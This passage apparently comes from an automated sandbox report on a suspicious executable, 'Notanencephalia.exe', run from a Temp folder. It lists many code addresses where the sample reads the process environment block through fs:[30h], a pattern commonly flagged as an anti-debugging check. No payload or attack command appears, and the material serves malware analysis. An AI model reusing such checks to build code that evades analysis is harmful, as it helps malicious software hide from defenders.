Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1BEF mov eax, dword ptr fs:[00000030h]	14_2_1FDB1BEF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA9B9F mov eax, dword ptr fs:[00000030h]	14_2_1FDA9B9F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA9B9F mov eax, dword ptr fs:[00000030h]	14_2_1FDA9B9F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA9B9F mov eax, dword ptr fs:[00000030h]	14_2_1FDA9B9F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43B80 mov eax, dword ptr fs:[00000030h]	14_2_1FE43B80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43B80 mov eax, dword ptr fs:[00000030h]	14_2_1FE43B80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43B80 mov eax, dword ptr fs:[00000030h]	14_2_1FE43B80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE39B8B mov eax, dword ptr fs:[00000030h]	14_2_1FE39B8B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE39B8B mov eax, dword ptr fs:[00000030h]	14_2_1FE39B8B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FB97 mov eax, dword ptr fs:[00000030h]	14_2_1FE2FB97
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DBA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DBA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DBA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DBA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DBA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DBA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DBA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DBA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DBA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DBA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DBA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DBA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13B60 mov eax, dword ptr fs:[00000030h]	14_2_1FE13B60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13B60 mov eax, dword ptr fs:[00000030h]	14_2_1FE13B60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13B60 mov eax, dword ptr fs:[00000030h]	14_2_1FE13B60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13B60 mov eax, dword ptr fs:[00000030h]	14_2_1FE13B60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE13B60 mov eax, dword ptr fs:[00000030h]	14_2_1FE13B60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6FB4C mov edi, dword ptr fs:[00000030h]	14_2_1FD6FB4C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05B50 mov eax, dword ptr fs:[00000030h]	14_2_1FE05B50
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05B50 mov eax, dword ptr fs:[00000030h]	14_2_1FE05B50
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD71B04 mov eax, dword ptr fs:[00000030h]	14_2_1FD71B04
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD71B04 mov eax, dword ptr fs:[00000030h]	14_2_1FD71B04
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DB00 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DB00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DB00 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DB00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DB00 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DB00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DB00 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DB00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DB00 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DB00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DB00 mov edx, dword ptr fs:[00000030h]	14_2_1FD9DB00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FB0C mov eax, dword ptr fs:[00000030h]	14_2_1FE2FB0C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA9B28 mov eax, dword ptr fs:[00000030h]	14_2_1FDA9B28
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA9B28 mov eax, dword ptr fs:[00000030h]	14_2_1FDA9B28
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43B10 mov eax, dword ptr fs:[00000030h]	14_2_1FE43B10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9BADA mov eax, dword ptr fs:[00000030h]	14_2_1FD9BADA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF1ACB mov eax, dword ptr fs:[00000030h]	14_2_1FDF1ACB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF1ACB mov ecx, dword ptr fs:[00000030h]	14_2_1FDF1ACB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05AD0 mov eax, dword ptr fs:[00000030h]	14_2_1FE05AD0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6BAE0 mov eax, dword ptr fs:[00000030h]	14_2_1FD6BAE0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE21AA3 mov eax, dword ptr fs:[00000030h]	14_2_1FE21AA3
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE21AA3 mov eax, dword ptr fs:[00000030h]	14_2_1FE21AA3
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE21AA3 mov eax, dword ptr fs:[00000030h]	14_2_1FE21AA3
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DAAC mov ecx, dword ptr fs:[00000030h]	14_2_1FE1DAAC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DAAC mov ecx, dword ptr fs:[00000030h]	14_2_1FE1DAAC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DAAC mov eax, dword ptr fs:[00000030h]	14_2_1FE1DAAC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67A80 mov eax, dword ptr fs:[00000030h]	14_2_1FD67A80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67A80 mov eax, dword ptr fs:[00000030h]	14_2_1FD67A80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67A80 mov eax, dword ptr fs:[00000030h]	14_2_1FD67A80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FA87 mov eax, dword ptr fs:[00000030h]	14_2_1FE2FA87
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6FAA4 mov ecx, dword ptr fs:[00000030h]	14_2_1FD6FAA4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DAAE mov eax, dword ptr fs:[00000030h]	14_2_1FD9DAAE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BAA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BAA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BAA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BAA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD69A40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD69A40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE03A78 mov eax, dword ptr fs:[00000030h]	14_2_1FE03A78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE03A78 mov eax, dword ptr fs:[00000030h]	14_2_1FE03A78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE03A78 mov eax, dword ptr fs:[00000030h]	14_2_1FE03A78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE03A78 mov eax, dword ptr fs:[00000030h]	14_2_1FE03A78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE03A78 mov eax, dword ptr fs:[00000030h]	14_2_1FE03A78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE03A78 mov eax, dword ptr fs:[00000030h]	14_2_1FE03A78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD99A18 mov ecx, dword ptr fs:[00000030h]	14_2_1FD99A18
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDEDA1D mov eax, dword ptr fs:[00000030h]	14_2_1FDEDA1D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6BA10 mov eax, dword ptr fs:[00000030h]	14_2_1FD6BA10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5A01 mov eax, dword ptr fs:[00000030h]	14_2_1FDA5A01
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5A01 mov ecx, dword ptr fs:[00000030h]	14_2_1FDA5A01
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5A01 mov eax, dword ptr fs:[00000030h]	14_2_1FDA5A01
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5A01 mov eax, dword ptr fs:[00000030h]	14_2_1FDA5A01
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FA02 mov eax, dword ptr fs:[00000030h]	14_2_1FE2FA02
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BA30 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BA30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BA30 mov ecx, dword ptr fs:[00000030h]	14_2_1FD7BA30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BA30 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BA30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BA30 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BA30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BA30 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BA30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BA30 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BA30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1BA0B mov eax, dword ptr fs:[00000030h]	14_2_1FE1BA0B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1BA0B mov eax, dword ptr fs:[00000030h]	14_2_1FE1BA0B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1BA0B mov eax, dword ptr fs:[00000030h]	14_2_1FE1BA0B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1BA0B mov eax, dword ptr fs:[00000030h]	14_2_1FE1BA0B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE17A11 mov edi, dword ptr fs:[00000030h]	14_2_1FE17A11
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DA20 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DA20
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9DA20 mov eax, dword ptr fs:[00000030h]	14_2_1FD9DA20
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov esi, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D9D0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D9D0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2B9EE mov eax, dword ptr fs:[00000030h]	14_2_1FE2B9EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2B9EE mov ecx, dword ptr fs:[00000030h]	14_2_1FE2B9EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2B9EE mov eax, dword ptr fs:[00000030h]	14_2_1FE2B9EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD759C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD759C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD759C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD759C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD759C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD759C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD759C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD759C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF19EE mov eax, dword ptr fs:[00000030h]	14_2_1FDF19EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF19EE mov eax, dword ptr fs:[00000030h]	14_2_1FDF19EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF19EE mov eax, dword ptr fs:[00000030h]	14_2_1FDF19EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B9DF mov eax, dword ptr fs:[00000030h]	14_2_1FE4B9DF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B9DF mov eax, dword ptr fs:[00000030h]	14_2_1FE4B9DF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6B991 mov eax, dword ptr fs:[00000030h]	14_2_1FD6B991
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6B991 mov eax, dword ptr fs:[00000030h]	14_2_1FD6B991
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE479BC mov eax, dword ptr fs:[00000030h]	14_2_1FE479BC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE479BC mov ecx, dword ptr fs:[00000030h]	14_2_1FE479BC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE479BC mov eax, dword ptr fs:[00000030h]	14_2_1FE479BC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF9983 mov eax, dword ptr fs:[00000030h]	14_2_1FDF9983
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD799BE mov eax, dword ptr fs:[00000030h]	14_2_1FD799BE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2598D mov eax, dword ptr fs:[00000030h]	14_2_1FE2598D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2598D mov eax, dword ptr fs:[00000030h]	14_2_1FE2598D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2598D mov eax, dword ptr fs:[00000030h]	14_2_1FE2598D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov ecx, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov ecx, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1F99B mov eax, dword ptr fs:[00000030h]	14_2_1FE1F99B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7F950 mov eax, dword ptr fs:[00000030h]	14_2_1FD7F950
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7F950 mov eax, dword ptr fs:[00000030h]	14_2_1FD7F950
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD89950 mov eax, dword ptr fs:[00000030h]	14_2_1FD89950
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD89950 mov eax, dword ptr fs:[00000030h]	14_2_1FD89950
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFB953 mov eax, dword ptr fs:[00000030h]	14_2_1FDFB953
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F97D mov eax, dword ptr fs:[00000030h]	14_2_1FE2F97D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D978 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D978
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDAB970 mov eax, dword ptr fs:[00000030h]	14_2_1FDAB970
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDAB970 mov eax, dword ptr fs:[00000030h]	14_2_1FDAB970
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDAB970 mov eax, dword ptr fs:[00000030h]	14_2_1FDAB970
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67967 mov eax, dword ptr fs:[00000030h]	14_2_1FD67967
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA196E mov eax, dword ptr fs:[00000030h]	14_2_1FDA196E
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA196E mov eax, dword ptr fs:[00000030h]	14_2_1FDA196E
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD97962 mov eax, dword ptr fs:[00000030h]	14_2_1FD97962
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF5960 mov eax, dword ptr fs:[00000030h]	14_2_1FDF5960
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9B919 mov eax, dword ptr fs:[00000030h]	14_2_1FD9B919
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F910 mov eax, dword ptr fs:[00000030h]	14_2_1FD6F910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE25930 mov eax, dword ptr fs:[00000030h]	14_2_1FE25930
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE25930 mov ecx, dword ptr fs:[00000030h]	14_2_1FE25930
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67931 mov eax, dword ptr fs:[00000030h]	14_2_1FD67931
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910 mov eax, dword ptr fs:[00000030h]	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD778D9 mov eax, dword ptr fs:[00000030h]	14_2_1FD778D9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD778D9 mov eax, dword ptr fs:[00000030h]	14_2_1FD778D9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD738C4 mov eax, dword ptr fs:[00000030h]	14_2_1FD738C4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F8F8 mov eax, dword ptr fs:[00000030h]	14_2_1FE2F8F8
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD838E0 mov eax, dword ptr fs:[00000030h]	14_2_1FD838E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD838E0 mov eax, dword ptr fs:[00000030h]	14_2_1FD838E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD838E0 mov eax, dword ptr fs:[00000030h]	14_2_1FD838E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF98E7 mov eax, dword ptr fs:[00000030h]	14_2_1FDF98E7
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2D8B0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2D8B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2D8B0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2D8B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F889 mov eax, dword ptr fs:[00000030h]	14_2_1FE2F889
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE0B890 mov eax, dword ptr fs:[00000030h]	14_2_1FE0B890
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE0B890 mov eax, dword ptr fs:[00000030h]	14_2_1FE0B890
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1843 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1843
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1843 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1843
